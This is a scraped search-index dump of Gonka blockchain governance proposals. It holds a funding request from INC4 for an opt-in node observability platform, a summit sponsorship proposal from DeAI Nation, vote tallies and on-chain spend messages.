Detecting and preventing even a single major network-wide incident, or a series of smaller incidents at individual validators, can save the ecosystem far more than the annual cost of this platform. The primary beneficiaries are the validator operators themselves, who bear the direct cost of every missed epoch and every hour of undiagnosed downtime — especially individual hosts without dedicated DevOps staff, for whom building and maintaining a comparable monitoring stack on their own is simply not feasible.
We request \\$96,000 in USDT over 12 months, paid in quarterly tranches, to deploy and maintain a production-grade observability platform — custom Gonka exporters, fleet-wide and individual dashboards, opt-in log aggregation, external endpoint health checks, alerting and SLA reporting, hands-on validator onboarding, incident response support, and ongoing operational maintenance. All code, configurations, and dashboards will be open-source and published in public GitHub repositories.
"}, {"location": "proposals/proposals/2026-q2/41/#2-problem-statement", "title": "2. Problem Statement", "text": ""}, {"location": "proposals/proposals/2026-q2/41/#off-chain-state-of-the-network-is-not-visible", "title": "Off-chain state of the network is not visible", "text": "Gonka is a growing network with over a hundred validators, an even larger number of ML nodes, and a combined GPU fleet exceeding 3,000 cards. Existing block explorers and dashboards show on-chain data — block heights, transactions, voting power. But there are zero tools for network-wide off-chain observability — GPU health, container status, miss rate root causes, model load times, LLM performance metrics, infrastructure trends, etc. Each operator monitors their infrastructure in isolation — or doesn't monitor at all. Those who do monitor set up their own tools, calculate metrics differently, and use different baselines — which leads to miscommunication and confusion when discussing network issues.
Specifically, existing tools do not show:
In practice, validators have experienced prolonged periods of high miss rate or inference downtime without being able to identify the root cause. At the same time, the Core Team had no way to see the scope of such issues across the network. These situations result in lost rewards for operators and delayed response from the team — problems that a shared observability platform would help detect and resolve much faster.
"}, {"location": "proposals/proposals/2026-q2/41/#what-happens-without-a-solution", "title": "What happens without a solution", "text": "Aggregating telemetry and metrics from validators into a shared backend is a well-established practice across the blockchain industry. Multiple major networks already do this:
https://metrics.solana.com:3000https://telemetry.polkadot.iohttps://telemetry.polkadot.io/#list/Kusamatelemetry.nearone.org) and pushes data every 10 secondstelemetry.mainnet.aptoslabs.com) by default; the architecture is documented in a public SPECotel.celestia.observer) for DA nodes, plus a Prometheus-based observability stack for consensus nodesThis is not an exotic idea. It is how mature networks gain visibility into their health, diagnose issues faster, and make data-driven protocol decisions.
In many blockchain networks, node telemetry is collected without operators being fully aware of it — telemetry is often enabled by default in the node software, and in some cases operators have no way to disable it at all.
By contrast, the Gonka Node Observability Platform is designed as a fully opt-in system — validators choose to participate, and no data is collected without their explicit action.
The more validators that join, the more accurate and complete the picture of network health becomes. A platform with 30% of validators connected provides useful insights; one with 80% becomes a reliable source of truth for the entire ecosystem.
"}, {"location": "proposals/proposals/2026-q2/41/#4-proposed-solution", "title": "4. Proposed Solution", "text": ""}, {"location": "proposals/proposals/2026-q2/41/#gonka-node-observability-platform_1", "title": "Gonka Node Observability Platform", "text": "A managed, open-source observability stack where validator operators voluntarily push off-chain metrics to a shared platform maintained by INC4.
"}, {"location": "proposals/proposals/2026-q2/41/#design-principles", "title": "Design principles", "text": "Principle Implementation Open-source All exporters, dashboards, alert rules, and configuration will be open-source and available for audit by any interested party Opt-in Participation is voluntary, no validator is required to share data — but every participant makes the platform more valuable for the entire network Push-based Nodes push metrics outbound via HTTPS, no new inbound ports required, existing firewall configs are preserved Non-intrusive The platform is a separate layer — it does not interact with consensus, block production, or inference execution, a platform outage has zero effect on the Gonka network Privacy The platform will only collect metrics necessary to understand validator health and performance — such as block height, sync status, miss rate, GPU utilization, container status, resource usage, etc. No sensitive information will be collected — no private keys, wallet balances, mnemonic phrases, or account credentials"}, {"location": "proposals/proposals/2026-q2/41/#value-delivered", "title": "Value delivered", "text": "For the Core Team: - Aggregated fleet-wide metrics and logs in one place - Instant visibility into problematic nodes, epochs, and time periods - SLA reports and data-driven decision making for protocol upgrades - Incident response support with root cause analysis
For validators: - No need to build and maintain your own monitoring stack - Compare your node's performance against network averages - Receive alerts via Telegram or Discord when something goes wrong - Share logs for collaborative troubleshooting when experiencing issues - Access dashboards from any device, including mobile - Hands-on help with metrics interpretation and incident diagnosis
For the community: - A single source of truth for network health metrics - Consistent data that all participants can reference in discussions - Transparency into network operations
"}, {"location": "proposals/proposals/2026-q2/41/#5-technical-approach", "title": "5. Technical Approach", "text": "The platform will be deployed on distributed cloud infrastructure, providing:
We will use well-established, industry-proven tools for observability: Prometheus for metrics collection, Grafana for dashboards and visualization, Alertmanager for notifications, Promtail/Loki for unified opt-in log aggregation, and PagerDuty for incident management and on-call escalation.
INC4 has hands-on experience building and operating observability infrastructure for blockchain networks. The choice of each component in the stack is driven by real-world operational requirements — reliability under load, ease of integration with existing validator setups, minimal resource overhead on the node side, and the ability to scale without rearchitecting as the network grows. This practical experience directly informs the architecture and tooling choices behind this platform.
The detailed architecture, including specific metric definitions, data flows, and exporter specifications, will be documented separately and will evolve as the platform matures.
"}, {"location": "proposals/proposals/2026-q2/41/#6-scope-and-deliverables", "title": "6. Scope and Deliverables", "text": "# Deliverable Description 1 Cloud infrastructure Production-ready observability stack on distributed cloud infrastructure with high availability, redundancy, and data retention 2 gonka-exporter Open-source exporter collecting Gonka node and AI compute metrics, kept up to date with every Gonka release 3 Unified opt-in log aggregation Searchable log collection from Gonka nodes and ML containers — validators experiencing issues can share logs for collaborative troubleshooting with the community and the Core Team 4 External endpoint health checks Automated reachability checks of validator reachability from independent external locations 5 Fleet Overview Dashboard Single view of the entire network — node statuses, miss rates, GPU utilization, sync state, and trends over time 6 Individual Node Dashboard Per-validator view with historical performance tracking and comparison against network averages 7 Custom dashboards Additional dashboards developed on request from the Core Team and individual validators, iteratively improved based on community feedback 8 Alert rules and SLA reports Alerting via Telegram, Discord, and PagerDuty. Automated SLA reports for validators and the Core Team 9 Onboarding documentation Step-by-step guide for validators to connect to the platform 10 Validator onboarding Hands-on onboarding support with a dedicated engineer during the initial rollout, followed by ongoing guidance for new validators 11 Incident response and advisory Help for individual validators and the Core Team with metrics interpretation, incident diagnosis, root cause analysis, and post-incident reviews 12 Ongoing maintenance Dedicated DevOps team ensuring platform reliability, compatibility with Gonka upgrades, and continuous operational improvements"}, {"location": "proposals/proposals/2026-q2/41/#7-budget-and-payment-schedule", "title": "7. Budget and Payment Schedule", "text": ""}, {"location": "proposals/proposals/2026-q2/41/#summary", "title": "Summary", "text": "Category Annual Cost Basis Cloud infrastructure \\$18,000 ~\\$1,500/mo for managed Prometheus (metrics storage and querying), Grafana (dashboards and visualization), Alertmanager (notifications), Promtail/Loki (unified opt-in log aggregation), PagerDuty (incident management and on-call escalation), external endpoint health checks, and supporting infrastructure, includes metrics retention, log storage, and high-availability configuration with redundancy Infrastructure operations and maintenance \\$36,000 DevOps team with a combined allocation of 0.5 FTE (~\\$3,000/mo) for platform operations, incident response, compatibility verification after Gonka network upgrades, capacity planning, on-call support, backup and disaster recovery, performance tuning and optimization, access management for connected validators, infrastructure-as-code maintenance, and platform self-monitoring Exporter development and updates \\$12,000 Development and maintenance of gonka-exporter (Gonka-specific node and AI compute metrics), Promtail log collection configurations, Blackbox exporter probes, integration with node_exporter and GPU metrics exporters, and ongoing compatibility updates for new Gonka releases. Some advanced metrics may require changes to the Gonka node software — INC4 will collaborate with the Core Team to propose and implement the necessary API extensions Custom dashboards and custom alerts \\$12,000 Fleet overview and individual node dashboards, alert rules with Telegram and Discord notifications, SLA reports, development of custom dashboards on request from the Core Team, personalized dashboards for individual validators on request, and iterative improvements based on ongoing collaboration with the validator community Validator onboarding, incident response, and advisory \\$18,000 First 3 months — dedicated DevOps engineer for hands-on onboarding of initial validators and end-to-end system setup. Ongoing — documentation maintenance, onboarding guidance for new validators, hands-on support for individual validators and the Core Team in interpreting metrics, diagnosing incidents, coordinating remediation, root cause analysis, actionable recommendations, and post-incident reviews for network-wide events Total requested \\$96,000"}, {"location": "proposals/proposals/2026-q2/41/#payment-schedule", "title": "Payment schedule", "text": "Tranche Period Amount Covers 1 Months 1–3 \\$51,000 Cloud infrastructure setup and provisioning, core exporter and dashboard development, dedicated DevOps engineer for initial validator onboarding 2 Months 4–6 \\$15,000 Platform operations, maintenance, incident response, validator support, and continued development of custom dashboards and alert rules 3 Months 7–9 \\$15,000 Platform operations, maintenance, incident response, validator support, and iterative improvements to exporters and dashboards based on validator feedback 4 Months 10–12 \\$15,000 Platform operations, maintenance, incident response, validator support, and year-end usage and adoption reportVesting contact: https://github.com/rwxr-xr-x/gonka-usdt-vesting-schedule
Each tranche is paid on the first day of the respective period.
The first tranche is larger because it covers the infrastructure setup and the most development-intensive phase of the project.
"}, {"location": "proposals/proposals/2026-q2/41/#risks", "title": "Risks", "text": "The budget is calculated for one year. After the first year, the arrangement can be reviewed and renewed on the same or adjusted terms. INC4 will publish a transparent report on platform usage, adoption, and costs at the end of the grant period — giving the community a clear basis for the renewal decision. If the community decides not to renew, the fully configured and operational platform — including all infrastructure, code, and configurations — may be transferred to the Core Team.
"}, {"location": "proposals/proposals/2026-q2/41/#8-success-criteria", "title": "8. Success Criteria", "text": "What INC4 delivers: - Base version of the platform deployed and accepting metrics — within the first week, with continuous improvements and updates going forward - Exporter, fleet dashboard, and alerting available in base version — within the first month, continuously improved throughout the grant period - INC4 will actively assist validators who wish to connect — providing hands-on onboarding support alongside documentation in the GitHub repositories - All code, configurations, and dashboards published in public GitHub repositories — open for anyone to review, audit, or contribute
What depends on the community: - INC4 will actively support onboarding but cannot guarantee adoption levels, as participation is voluntary - Target — wide adoption across the network within the first year - Sunshine scenario: connecting to the platform becomes a standard part of every validator's setup
Key Performance Indicators: - Platform availability: 99%+ uptime throughout the grant period - Compatibility: platform verified and operational within 48 hours after each Gonka network upgrade - Onboarding: any validator can connect to the platform in under 30 minutes using provided documentation - Reporting: quarterly progress reports published to the community - Adoption: wide adoption across the network within the first year
"}, {"location": "proposals/proposals/2026-q2/41/#9-team", "title": "9. Team", "text": "INC4 is an active participant in the Gonka ecosystem. We operate validators on mainnet and testnet, and develop applications for the Gonka network. This proposal grows out of our direct experience — we face the lack of network-wide visibility firsthand as validator operators and want to solve this problem for the entire network.
INC4 is involved in multiple initiatives across the Gonka ecosystem — the observability platform is one of them. For example, we also develop NOP (Node Onboarding Package) — an open-source utility for fast validator deployment (https://github.com/inc4/gonka-nop). Our commitment to the network is long-term and not limited to this proposal.
As a company, INC4 was founded in 2013, with 70+ engineers and 230+ delivered projects in blockchain infrastructure and AI systems. Hands-on experience in building and maintaining mining infrastructure for Bitcoin, Ethereum, Filecoin.
"}, {"location": "proposals/proposals/2026-q2/41/#final-tally", "title": "Final Tally", "text": "Yes 17,955 (57.1%) No 13,494 (42.9%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 31,449 votes"}, {"location": "proposals/proposals/2026-q2/41/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1yf2f23sqx8fradjn7laqp0twamlhy4sj6vzwmg946ux4awfqaaes9avx7a\",\n \"amount\": [\n {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"96000000000\"\n }\n ]\n }\n]\nProposal by INC4 (https://inc4.net) | 16 April 2026
Funding Request: \\$96,000 USD (USDT) for 12 months
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#table-of-contents", "title": "Table of Contents", "text": "Today's explorers and dashboards only show on-chain data, leaving the off-chain state of validators completely opaque. The few operators who do run their own monitoring use different tools, different metrics, and different baselines, leading to different interpretations and making it harder to coordinate when problems arise. The network lacks a single source of truth and a common framework for measuring validator health.
Even today, simply watching how validators operate reveals that many are not reacting to technical problems in time — growing Inference Miss Rates, dropping CPoC Ratios, network sync falling behind. These patterns persist because operators have no way to see the early warning signs or get emergency alerts inside their own infrastructure.
To address this, INC4 — an active Gonka validator operator with hands-on experience in blockchain infrastructure and observability — proposes the creation of the Gonka Node Observability Platform — an open-source, opt-in observability stack that aggregates off-chain metrics from Network nodes and ML nodes into a shared, publicly accessible dashboard. The platform is deployed on independent cloud infrastructure — without using resources of any individual validator or granting anyone privileged access — so that all operators have equal access and visibility into the data.
For the Core Team — a unified view of the entire network, visibility into problematic nodes and time periods, data for informed protocol decisions, SLA reports, and the ability to assess the scope of network-wide issues before and after upgrades. For Individual Validators — real-time alerts, performance comparison against network averages, opt-in log sharing to get help with troubleshooting and metrics interpretation, and no need to build your own monitoring stack.
Detecting and preventing even a single major network-wide incident, or a series of smaller incidents at individual validators, can save the ecosystem far more than the annual cost of this platform. The primary beneficiaries are the validator operators themselves, who bear the direct cost of every missed epoch and every hour of undiagnosed downtime — especially individual hosts without dedicated DevOps staff, for whom building and maintaining a comparable monitoring stack on their own is simply not feasible.
We request \\$96,000 in USDT over 12 months, paid in quarterly tranches, to deploy and maintain a production-grade observability platform — custom Gonka exporters, fleet-wide and individual dashboards, opt-in log aggregation, external endpoint health checks, alerting and SLA reporting, hands-on validator onboarding, incident response support, and ongoing operational maintenance. All code, configurations, and dashboards will be open-source and published in public GitHub repositories.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#2-problem-statement", "title": "2. Problem Statement", "text": ""}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#off-chain-state-of-the-network-is-not-visible", "title": "Off-chain state of the network is not visible", "text": "Gonka is a growing network with over a hundred validators, an even larger number of ML nodes, and a combined GPU fleet exceeding 3,000 cards. Existing block explorers and dashboards show on-chain data — block heights, transactions, voting power. But there are zero tools for network-wide off-chain observability — GPU health, container status, miss rate root causes, model load times, LLM performance metrics, infrastructure trends, etc. Each operator monitors their infrastructure in isolation — or doesn't monitor at all. Those who do monitor set up their own tools, calculate metrics differently, and use different baselines — which leads to miscommunication and confusion when discussing network issues.
Specifically, existing tools do not show:
In practice, validators have experienced prolonged periods of high miss rate or inference downtime without being able to identify the root cause. At the same time, the Core Team had no way to see the scope of such issues across the network. These situations result in lost rewards for operators and delayed response from the team — problems that a shared observability platform would help detect and resolve much faster.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#what-happens-without-a-solution", "title": "What happens without a solution", "text": "Aggregating telemetry and metrics from validators into a shared backend is a well-established practice across the blockchain industry. Multiple major networks already do this:
https://metrics.solana.com:3000https://telemetry.polkadot.iohttps://telemetry.polkadot.io/#list/Kusamatelemetry.nearone.org) and pushes data every 10 secondstelemetry.mainnet.aptoslabs.com) by default; the architecture is documented in a public SPECotel.celestia.observer) for DA nodes, plus a Prometheus-based observability stack for consensus nodesThis is not an exotic idea. It is how mature networks gain visibility into their health, diagnose issues faster, and make data-driven protocol decisions.
In many blockchain networks, node telemetry is collected without operators being fully aware of it — telemetry is often enabled by default in the node software, and in some cases operators have no way to disable it at all.
By contrast, the Gonka Node Observability Platform is designed as a fully opt-in system — validators choose to participate, and no data is collected without their explicit action.
The more validators that join, the more accurate and complete the picture of network health becomes. A platform with 30% of validators connected provides useful insights; one with 80% becomes a reliable source of truth for the entire ecosystem.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#4-proposed-solution", "title": "4. Proposed Solution", "text": ""}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#gonka-node-observability-platform_1", "title": "Gonka Node Observability Platform", "text": "A managed, open-source observability stack where validator operators voluntarily push off-chain metrics to a shared platform maintained by INC4.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#design-principles", "title": "Design principles", "text": "Principle Implementation Open-source All exporters, dashboards, alert rules, and configuration will be open-source and available for audit by any interested party Opt-in Participation is voluntary, no validator is required to share data — but every participant makes the platform more valuable for the entire network Push-based Nodes push metrics outbound via HTTPS, no new inbound ports required, existing firewall configs are preserved Non-intrusive The platform is a separate layer — it does not interact with consensus, block production, or inference execution, a platform outage has zero effect on the Gonka network Privacy The platform will only collect metrics necessary to understand validator health and performance — such as block height, sync status, miss rate, GPU utilization, container status, resource usage, etc. No sensitive information will be collected — no private keys, wallet balances, mnemonic phrases, or account credentials"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#value-delivered", "title": "Value delivered", "text": "For the Core Team: - Aggregated fleet-wide metrics and logs in one place - Instant visibility into problematic nodes, epochs, and time periods - SLA reports and data-driven decision making for protocol upgrades - Incident response support with root cause analysis
For validators: - No need to build and maintain your own monitoring stack - Compare your node's performance against network averages - Receive alerts via Telegram or Discord when something goes wrong - Share logs for collaborative troubleshooting when experiencing issues - Access dashboards from any device, including mobile - Hands-on help with metrics interpretation and incident diagnosis
For the community: - A single source of truth for network health metrics - Consistent data that all participants can reference in discussions - Transparency into network operations
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#5-technical-approach", "title": "5. Technical Approach", "text": "The platform will be deployed on distributed cloud infrastructure, providing:
We will use well-established, industry-proven tools for observability: Prometheus for metrics collection, Grafana for dashboards and visualization, Alertmanager for notifications, Promtail/Loki for unified opt-in log aggregation, and PagerDuty for incident management and on-call escalation.
INC4 has hands-on experience building and operating observability infrastructure for blockchain networks. The choice of each component in the stack is driven by real-world operational requirements — reliability under load, ease of integration with existing validator setups, minimal resource overhead on the node side, and the ability to scale without rearchitecting as the network grows. This practical experience directly informs the architecture and tooling choices behind this platform.
The detailed architecture, including specific metric definitions, data flows, and exporter specifications, will be documented separately and will evolve as the platform matures.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#6-scope-and-deliverables", "title": "6. Scope and Deliverables", "text": "# Deliverable Description 1 Cloud infrastructure Production-ready observability stack on distributed cloud infrastructure with high availability, redundancy, and data retention 2 gonka-exporter Open-source exporter collecting Gonka node and AI compute metrics, kept up to date with every Gonka release 3 Unified opt-in log aggregation Searchable log collection from Gonka nodes and ML containers — validators experiencing issues can share logs for collaborative troubleshooting with the community and the Core Team 4 External endpoint health checks Automated reachability checks of validator reachability from independent external locations 5 Fleet Overview Dashboard Single view of the entire network — node statuses, miss rates, GPU utilization, sync state, and trends over time 6 Individual Node Dashboard Per-validator view with historical performance tracking and comparison against network averages 7 Custom dashboards Additional dashboards developed on request from the Core Team and individual validators, iteratively improved based on community feedback 8 Alert rules and SLA reports Alerting via Telegram, Discord, and PagerDuty. Automated SLA reports for validators and the Core Team 9 Onboarding documentation Step-by-step guide for validators to connect to the platform 10 Validator onboarding Hands-on onboarding support with a dedicated engineer during the initial rollout, followed by ongoing guidance for new validators 11 Incident response and advisory Help for individual validators and the Core Team with metrics interpretation, incident diagnosis, root cause analysis, and post-incident reviews 12 Ongoing maintenance Dedicated DevOps team ensuring platform reliability, compatibility with Gonka upgrades, and continuous operational improvements"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#7-budget-and-payment-schedule", "title": "7. Budget and Payment Schedule", "text": ""}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#summary", "title": "Summary", "text": "Category Annual Cost Basis Cloud infrastructure \\$18,000 ~\\$1,500/mo for managed Prometheus (metrics storage and querying), Grafana (dashboards and visualization), Alertmanager (notifications), Promtail/Loki (unified opt-in log aggregation), PagerDuty (incident management and on-call escalation), external endpoint health checks, and supporting infrastructure, includes metrics retention, log storage, and high-availability configuration with redundancy Infrastructure operations and maintenance \\$36,000 DevOps team with a combined allocation of 0.5 FTE (~\\$3,000/mo) for platform operations, incident response, compatibility verification after Gonka network upgrades, capacity planning, on-call support, backup and disaster recovery, performance tuning and optimization, access management for connected validators, infrastructure-as-code maintenance, and platform self-monitoring Exporter development and updates \\$12,000 Development and maintenance of gonka-exporter (Gonka-specific node and AI compute metrics), Promtail log collection configurations, Blackbox exporter probes, integration with node_exporter and GPU metrics exporters, and ongoing compatibility updates for new Gonka releases. Some advanced metrics may require changes to the Gonka node software — INC4 will collaborate with the Core Team to propose and implement the necessary API extensions Custom dashboards and custom alerts \\$12,000 Fleet overview and individual node dashboards, alert rules with Telegram and Discord notifications, SLA reports, development of custom dashboards on request from the Core Team, personalized dashboards for individual validators on request, and iterative improvements based on ongoing collaboration with the validator community Validator onboarding, incident response, and advisory \\$18,000 First 3 months — dedicated DevOps engineer for hands-on onboarding of initial validators and end-to-end system setup. Ongoing — documentation maintenance, onboarding guidance for new validators, hands-on support for individual validators and the Core Team in interpreting metrics, diagnosing incidents, coordinating remediation, root cause analysis, actionable recommendations, and post-incident reviews for network-wide events Total requested \\$96,000"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#payment-schedule", "title": "Payment schedule", "text": "Tranche Period Amount Covers 1 Months 1–3 \\$51,000 Cloud infrastructure setup and provisioning, core exporter and dashboard development, dedicated DevOps engineer for initial validator onboarding 2 Months 4–6 \\$15,000 Platform operations, maintenance, incident response, validator support, and continued development of custom dashboards and alert rules 3 Months 7–9 \\$15,000 Platform operations, maintenance, incident response, validator support, and iterative improvements to exporters and dashboards based on validator feedback 4 Months 10–12 \\$15,000 Platform operations, maintenance, incident response, validator support, and year-end usage and adoption reportVesting contact: https://github.com/rwxr-xr-x/gonka-usdt-vesting-schedule
Each tranche is paid on the first day of the respective period.
The first tranche is larger because it covers the infrastructure setup and the most development-intensive phase of the project.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#risks", "title": "Risks", "text": "The budget is calculated for one year. After the first year, the arrangement can be reviewed and renewed on the same or adjusted terms. INC4 will publish a transparent report on platform usage, adoption, and costs at the end of the grant period — giving the community a clear basis for the renewal decision. If the community decides not to renew, the fully configured and operational platform — including all infrastructure, code, and configurations — may be transferred to the Core Team.
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#8-success-criteria", "title": "8. Success Criteria", "text": "What INC4 delivers: - Base version of the platform deployed and accepting metrics — within the first week, with continuous improvements and updates going forward - Exporter, fleet dashboard, and alerting available in base version — within the first month, continuously improved throughout the grant period - INC4 will actively assist validators who wish to connect — providing hands-on onboarding support alongside documentation in the GitHub repositories - All code, configurations, and dashboards published in public GitHub repositories — open for anyone to review, audit, or contribute
What depends on the community: - INC4 will actively support onboarding but cannot guarantee adoption levels, as participation is voluntary - Target — wide adoption across the network within the first year - Sunshine scenario: connecting to the platform becomes a standard part of every validator's setup
Key Performance Indicators: - Platform availability: 99%+ uptime throughout the grant period - Compatibility: platform verified and operational within 48 hours after each Gonka network upgrade - Onboarding: any validator can connect to the platform in under 30 minutes using provided documentation - Reporting: quarterly progress reports published to the community - Adoption: wide adoption across the network within the first year
"}, {"location": "proposals/proposals/2026-q2/41/full-proposal/#9-team", "title": "9. Team", "text": "INC4 is an active participant in the Gonka ecosystem. We operate validators on mainnet and testnet, and develop applications for the Gonka network. This proposal grows out of our direct experience — we face the lack of network-wide visibility firsthand as validator operators and want to solve this problem for the entire network.
INC4 is involved in multiple initiatives across the Gonka ecosystem — the observability platform is one of them. For example, we also develop NOP (Node Onboarding Package) — an open-source utility for fast validator deployment (https://github.com/inc4/gonka-nop). Our commitment to the network is long-term and not limited to this proposal.
As a company, INC4 was founded in 2013, with 70+ engineers and 230+ delivered projects in blockchain infrastructure and AI systems. Hands-on experience in building and maintaining mining infrastructure for Bitcoin, Ethereum, Filecoin.
"}, {"location": "proposals/proposals/2026-q2/42/", "title": "#42 – Support Gonka at Global Compute Sovereignty Summit", "text": "Passed
Proposal ID: 42
Type: Execute Contract
Submit: 2026-04-17 18:51 UTC
Voting: 2026-04-17 18:51 UTC → 2026-04-19 18:51 UTC
Proposer: gonka1tknn6p8f2y4843fp4ud6ynq0727r7g8l568d27
Metadata: https://github.com/DeAI-Nation/summit-proposal/blob/main/README.md
$10,000 · Community PoolView on gonka.gg
We are DeAI Nation, a global nonprofit organization supporting and promoting the decentralized AI ecosystem, and authors of the State of DeAI 2026 report. We propose that the Gonka community become a sponsor of a scientific panel discussion at the Global Compute Sovereignty Summit in Tashkent, Uzbekistan. Cost: 10,000 USDT. If the vote is successful, the panel will receive official 'Supported by the Gonka community' status. This is a strong opportunity for the community to position itself as a key driver supporting research in this area in front of hundreds of business executives, government officials, and investors, including the Minister of Digital Technologies of the Republic of Uzbekistan Sherzod Shermatov, Executive Director of the Saudi-Uzbek Council Faisal Ba Abdullah, and CEO of Al Fardan Ventures Mohammed Al Fardan. More information about the summit: https://gcss.outsource.gov.uz Detailed proposal: https://github.com/DeAI-Nation/summit-proposal/blob/main/README.md
"}, {"location": "proposals/proposals/2026-q2/42/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/42/#support-gonka-at-global-compute-sovereignty-summit", "title": "Support Gonka at Global Compute Sovereignty Summit", "text": "We are DeAI Nation, a global nonprofit organization created to support and promote the decentralized AI ecosystem. We are the authors of the State of DeAI 2026 report, where we cover the promise of decentralized AI and prominent projects in the ecosystem, including Gonka. Recently, we published a brief analysis of how much a simple node can earn for its owner across different decentralized inference networks, with Gonka significantly ahead of the competition. https://blog.deaination.com/how-much-can-your-gpu-earn-on-decentralized-ai-networks-b88499954694
We are now preparing the Global Compute Sovereignty Summit (GCSS) in Tashkent on May 14–15. The event is co-organized by DeAI Nation and IT Park Uzbekistan, a major tech hub that houses more than 3,000 companies. GCSS is also supported by the Ministry of Digital Technologies of the Republic of Uzbekistan, and we expect Minister Sherzod Shermatov at the summit.
The summit will feature David and Daniil Liberman as keynote speakers, alongside other experts, entrepreneurs, and researchers,including Executive Director of the Saudi-Uzbek Council Faisal Ba Abdullah, and CEO of Al Fardan Ventures Mohammed Al Fardan. More information is available on the site: https://gcss.outsource.gov.uz
What we are proposing
We propose that the Gonka community become a sponsor of a scientific panel discussion at the summit. The discussion will bring together researchers and scientists to discuss AGI and applied science on decentralized networks.
Speakers will include Egor Shulgin of Gonka Protocol; Dan Alistarh, PhD, Professor at the Institute of Science and Technology Austria; and other experts in the field.
The discussion will be attended by hundreds of executives from infrastructure companies and chip makers, as well as public-sector representatives from Uzbekistan, Central Asia, and around the world. It is a strong opportunity for the Gonka community to position itself as a key driver supporting research in this area and attract new talent to the ecosystem.
Details
Cost: 10,000 USDT
Terms: In the case of a successful vote, the funds will be transferred immediately to the organizer’s wallet. The funds will be used to cover the costs of organizing the discussion.
In exchange, the panel discussion will receive official ‘Supported by the Gonka community’ status. The badge will be displayed on the event's landing page, as well as in the stage, in other promotional materials related to the discussion, and in publications (text and video) based on it.
"}, {"location": "proposals/proposals/2026-q2/42/#final-tally", "title": "Final Tally", "text": "Yes 375,771 (68.6%) No 0 (0.0%) Veto 0 (0.0%) Abstain 172,050 (31.4%) Total 547,821 votes"}, {"location": "proposals/proposals/2026-q2/42/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"10000000000\",\n \"recipient\": \"gonka1gpsnclfyw59nghahf9cs9d76qqqwv9v7hrjlnz\"\n }\n },\n \"funds\": []\n }\n]\nWe are DeAI Nation, a global nonprofit organization created to support and promote the decentralized AI ecosystem. We are the authors of the State of DeAI 2026 report, where we cover the promise of decentralized AI and prominent projects in the ecosystem, including Gonka. Recently, we published a brief analysis of how much a simple node can earn for its owner across different decentralized inference networks, with Gonka significantly ahead of the competition. https://blog.deaination.com/how-much-can-your-gpu-earn-on-decentralized-ai-networks-b88499954694
We are now preparing the Global Compute Sovereignty Summit (GCSS) in Tashkent on May 14–15. The event is co-organized by DeAI Nation and IT Park Uzbekistan, a major tech hub that houses more than 3,000 companies. GCSS is also supported by the Ministry of Digital Technologies of the Republic of Uzbekistan, and we expect Minister Sherzod Shermatov at the summit.
The summit will feature David and Daniil Liberman as keynote speakers, alongside other experts, entrepreneurs, and researchers,including Executive Director of the Saudi-Uzbek Council Faisal Ba Abdullah, and CEO of Al Fardan Ventures Mohammed Al Fardan. More information is available on the site: https://gcss.outsource.gov.uz
What we are proposing
We propose that the Gonka community become a sponsor of a scientific panel discussion at the summit. The discussion will bring together researchers and scientists to discuss AGI and applied science on decentralized networks.
Speakers will include Egor Shulgin of Gonka Protocol; Dan Alistarh, PhD, Professor at the Institute of Science and Technology Austria; and other experts in the field.
The discussion will be attended by hundreds of executives from infrastructure companies and chip makers, as well as public-sector representatives from Uzbekistan, Central Asia, and around the world. It is a strong opportunity for the Gonka community to position itself as a key driver supporting research in this area and attract new talent to the ecosystem.
Details
Cost: 10,000 USDT
Terms: In the case of a successful vote, the funds will be transferred immediately to the organizer’s wallet. The funds will be used to cover the costs of organizing the discussion.
In exchange, the panel discussion will receive official ‘Supported by the Gonka community’ status. The badge will be displayed on the event's landing page, as well as in the stage, in other promotional materials related to the discussion, and in publications (text and video) based on it.
"}, {"location": "proposals/proposals/2026-q2/43/", "title": "#43 – Governance Architecture Proposal for the Gonka.ai Network", "text": "Rejected
Proposal ID: 43
Type: Community Pool Spend
Submit: 2026-04-25 10:09 UTC
Voting: 2026-04-25 10:09 UTC → 2026-04-27 10:09 UTC
Proposer: gonka1syw6cs7jl5rmz7gpm3rq3836y2t484xp00ywrz
Metadata: https://github.com/gonka-ai/gonka/discussions/1104
Failed reason: proposal did not get enough votes to pass
104,166 GNK · Community PoolView on gonka.gg
